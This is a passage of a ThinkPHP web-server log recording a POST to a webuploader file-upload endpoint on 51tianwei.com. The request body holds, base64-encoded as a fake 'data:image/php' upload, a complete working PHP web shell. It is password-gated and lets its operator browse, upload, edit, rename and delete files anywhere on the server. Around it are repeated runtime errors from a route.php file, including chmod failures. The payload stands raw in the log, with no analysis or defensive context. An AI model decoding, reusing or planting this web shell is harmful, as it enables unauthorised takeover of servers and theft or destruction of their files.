'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:26:23+08:00 ] 119.42.146.234 POST 51tianwei.com/Public/webuploader/0.1.5/server/fileupload.php [运行时间:0.002565s] [吞吐率:389.88req/s] [内存消耗:196.66kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'Public', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): 